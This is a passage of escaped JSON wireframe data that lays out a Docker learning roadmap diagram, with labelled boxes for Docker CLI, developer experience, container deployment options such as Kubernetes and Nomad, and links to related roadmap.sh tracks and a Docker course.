\"20\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Containers\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9507\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"91\",\n          \"measuredW\": \"122\",\n          \"measuredH\": \"44\",\n          \"w\": \"122\",\n          \"h\": \"44\",\n          \"x\": \"747\",\n          \"y\": \"2091\",\n          \"properties\": {\n            \"controlName\": \"102-docker-cli:volumes\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"122\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"65\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"28\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Volumes\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9508\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"92\",\n          \"measuredW\": \"126\",\n          \"measuredH\": \"44\",\n          \"w\": \"126\",\n          \"h\": \"44\",\n          \"x\": \"885\",\n          \"y\": \"2091\",\n          \"properties\": {\n            \"controlName\": \"102-docker-cli:networks\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"126\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"72\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"27\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Networks\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9509\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"93\",\n          \"w\": \"1\",\n          \"h\": \"175\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"667\",\n          \"y\": \"2035\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.0003556693697539095\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 175\n            }\n          }\n        },\n        {\n          \"ID\": \"9510\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"94\",\n          \"measuredW\": \"265\",\n          \"measuredH\": \"50\",\n          \"w\": \"265\",\n          \"h\": \"50\",\n          \"x\": \"747\",\n          \"y\": \"2186\",\n          \"properties\": {\n            \"controlName\": \"111-developer-experience\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"265\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"173\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"46\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Developer Experience\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9511\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"95\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"762\",\n          \"y\": \"2282\",\n          \"properties\": {\n            \"controlName\": \"100-developer-experience:hot-reloading\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"110\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"55\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Hot Reloading\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9512\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"96\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"762\",\n          \"y\": \"2330\",\n          \"properties\": {\n            \"controlName\": \"101-developer-experience:debuggers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"86\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"67\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Debuggers\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9513\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"97\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"762\",\n          \"y\": \"2378\",\n          \"properties\": {\n            \"controlName\": \"102-developer-experience:tests\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"41\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"89\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Tests\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9514\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"98\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"762\",\n          \"y\": \"2426\",\n          \"properties\": {\n            \"controlName\": \"103-developer-experience:continuous-integration\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"176\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"22\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Continuous Integration\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9515\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"99\",\n          \"measuredW\": \"265\",\n          \"measuredH\": \"50\",\n          \"w\": \"265\",\n          \"h\": \"50\",\n          \"x\": \"1099\",\n          \"y\": \"2186\",\n          \"properties\": {\n            \"controlName\": \"112-deploying-containers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"265\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"166\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"42\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Deploying Containers\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9516\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"100\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"1112\",\n          \"y\": \"2282\",\n          \"properties\": {\n            \"controlName\": \"100-deploying-containers:paas-options\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"104\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"58\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"PaaS Options\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9517\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"101\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"1112\",\n          \"y\": \"2330\",\n          \"properties\": {\n            \"controlName\": \"101-deploying-containers:kubernetes\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"90\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"65\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Kubernetes\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9518\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"102\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"1112\",\n          \"y\": \"2378\",\n          \"properties\": {\n            \"controlName\": \"102-deploying-containers:docker-swarm\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"111\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"54\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Docker Swarm\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9519\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"103\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"1112\",\n          \"y\": \"2426\",\n          \"properties\": {\n            \"controlName\": \"103-deploying-containers:nomad\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"56\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"77\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Nomad\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9520\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"104\",\n          \"w\": \"1\",\n          \"h\": \"342\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1617\",\n          \"y\": \"2210\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.0003556693697539096\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 342\n            }\n          }\n        },\n        {\n          \"ID\": \"9521\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"105\",\n          \"w\": \"441\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1176\",\n          \"y\": \"2553\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0.3626732144975904\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927374,\n              \"y\": 0.00035566936975390954\n            },\n            \"p2\": {\n              \"x\": 441.33333333333326,\n              \"y\": 0.3626732144975904\n            }\n          }\n        },\n        {\n          \"ID\": \"9522\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"106\",\n          \"w\": \"1\",\n          \"h\": \"161\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1176\",\n          \"y\": \"2554\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.00035566936975390965\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 161\n            }\n          }\n        },\n        {\n          \"ID\": \"9523\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"107\",\n          \"w\": \"1\",\n          \"h\": \"81\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1176\",\n          \"y\": \"2739\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"stroke\": \"dotted\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999994,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 81.09090909090901\n            }\n          }\n        },\n        {\n          \"ID\": \"9524\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"108\",\n          \"w\": \"438\",\n          \"h\": \"118\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"957\",\n          \"y\": \"2653\"\n        },\n        {\n          \"ID\": \"9525\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"109\",\n          \"measuredW\": \"366\",\n          \"measuredH\": \"25\",\n          \"x\": \"993\",\n          \"y\": \"2672\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Continue Learning with following relevant tracks\"\n          }\n        },\n        {\n          \"ID\": \"9526\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"110\",\n          \"measuredW\": \"198\",\n          \"measuredH\": \"44\",\n          \"w\": \"198\",\n          \"h\": \"44\",\n          \"x\": \"1180\",\n          \"y\": \"2709\",\n          \"properties\": {\n            \"controlName\": \"ext_link:roadmap.sh/devops\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"198\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"141\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"28\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"DevOps Roadmap\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9527\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"111\",\n          \"measuredW\": \"198\",\n          \"measuredH\": \"44\",\n          \"w\": \"198\",\n          \"h\": \"44\",\n          \"x\": \"972\",\n          \"y\": \"2709\",\n          \"properties\": {\n            \"controlName\": \"ext_link:roadmap.sh/backend\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"198\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"147\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"25\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Backend Roadmap\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9528\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"112\",\n          \"w\": \"45\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"623\",\n          \"y\": \"1397\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"16777215\",\n            \"p0\": {\n              \"x\": 0.04142925695464328,\n              \"y\": 0.362673214497363\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927407,\n              \"y\": 0.0003556693697539088\n            },\n            \"p2\": {\n              \"x\": 45.203968575995304,\n              \"y\": 0.362673214497363\n            }\n          }\n        },\n        {\n          \"ID\": \"9529\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"113\",\n          \"w\": \"45\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1764\",\n          \"y\": \"1381\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"16777215\",\n            \"p0\": {\n              \"x\": 0.04142925695464328,\n              \"y\": 0.362673214497363\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927407,\n              \"y\": 0.0003556693697539088\n            },\n            \"p2\": {\n              \"x\": 45.203968575995304,\n              \"y\": 0.362673214497363\n            }\n          }\n        },\n        {\n          \"ID\": \"9530\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"114\",\n          \"w\": \"169\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1091\",\n          \"y\": \"2892\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"stroke\": \"dotted\",\n            \"color\": \"16777215\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999999999999999,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 168.6400000000001,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"9535\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"56\",\n          \"measuredW\": \"327\",\n          \"measuredH\": \"126\",\n          \"w\": \"327\",\n          \"h\": \"126\",\n          \"x\": \"646\",\n          \"y\": \"630\",\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"327\",\n                  \"h\": \"126\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"268\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"23\",\n                  \"y\": \"21\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Roadmap was made in partnership\"\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"31\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"23\",\n                  \"y\": \"49\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"with\"\n                  }\n                },\n                {\n                  \"ID\": \"3\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"3\",\n                  \"measuredW\": \"70\",\n                  \"measuredH\": \"25\",\n                  \"w\": \"70\",\n                  \"h\": \"25\",\n                  \"x\": \"57\",\n                  \"y\": \"49\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:twitter.com/sidpalas\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"70\",\n                          \"measuredH\": \"25\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"size\": \"17\",\n                            \"text\": \"{color:purple}Sid Palas{color}\"\n                          }\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"ID\": \"4\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"4\",\n                  \"measuredW\": \"144\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"127\",\n                  \"y\": \"49\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \". Checkout his free\"\n                  }\n                },\n                {\n                  \"ID\": \"5\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"5\",\n                  \"measuredW\": \"268\",\n                  \"measuredH\": \"25\",\n                  \"w\": \"268\",\n                  \"h\": \"25\",\n                  \"x\": \"23\",\n                  \"y\": \"77\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:courses.devopsdirective.com/docker-beginner-to-pro\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"268\",\n                          \"measuredH\": \"25\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"size\": \"17\",\n                            \"text\": \"{color:purple}course covering this topic in depth.{color}\"\n                          }\n                        }\n                      ]\n                    }\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9536\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"115\",\n          \"measuredW\": \"327\",\n          \"measuredH\": \"129\",\n          \"w\": \"327\",\n          \"h\": \"129\",\n          \"x\": \"646\",\n          \"y\": \"746\",\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"327\",\n                  \"h\": \"129\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"202\",\n                  \"measuredH\": \"26\",\n                  \"w\": \"202\",\n                  \"h\": \"26\",\n                  \"x\": \"23\",\n                  \"y\": \"22\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:roadmap.sh/kubernetes\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"169\",\n                          \"measuredH\": \"25\",\n                          \"x\": \"33\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"size\": \"17\",\n                            \"text\": \"Kubernetes Roadmap\"\n                          }\n                        },\n                        {\n                          \"ID\": \"1\",\n                          \"typeID\": \"__group__\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"w\": \"24\",\n                          \"h\": \"24\",\n                          \"x\": \"0\",\n                          \"y\": \"2\",\n                          \"children\": {\n                            \"controls\": {\n                              \"control\": [\n                                {\n                                  \"ID\": \"0\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"0\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"16777215\",\n                                    \"icon\": {\n                                      \"ID\": \"circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                },\n                                {\n                                  \"ID\": \"1\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"1\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"10066329\",\n                                    \"icon\": {\n                                      \"ID\": \"check-circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                }\n                              ]\n                            }\n                          }\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"174\",\n                  \"measuredH\": \"26\",\n                  \"w\": \"174\",\n                  \"h\": \"26\",\n                  \"x\": \"23\",\n                  \"y\": \"52\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:roadmap.sh/devops\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"141\",\n                          \"measuredH\": \"25\",\n                          \"x\": \"33\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"size\": \"17\",\n                            \"text\": \"DevOps Roadmap\"\n                          }\n                        },\n                        {\n                          \"ID\": \"1\",\n                          \"typeID\": \"__group__\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"w\": \"24\",\n                          \"h\": \"24\",\n                          \"x\": \"0\",\n                          \"y\": \"2\",\n                          \"children\": {\n                            \"controls\": {\n                              \"control\": [\n                                {\n                                  \"ID\": \"0\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"0\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  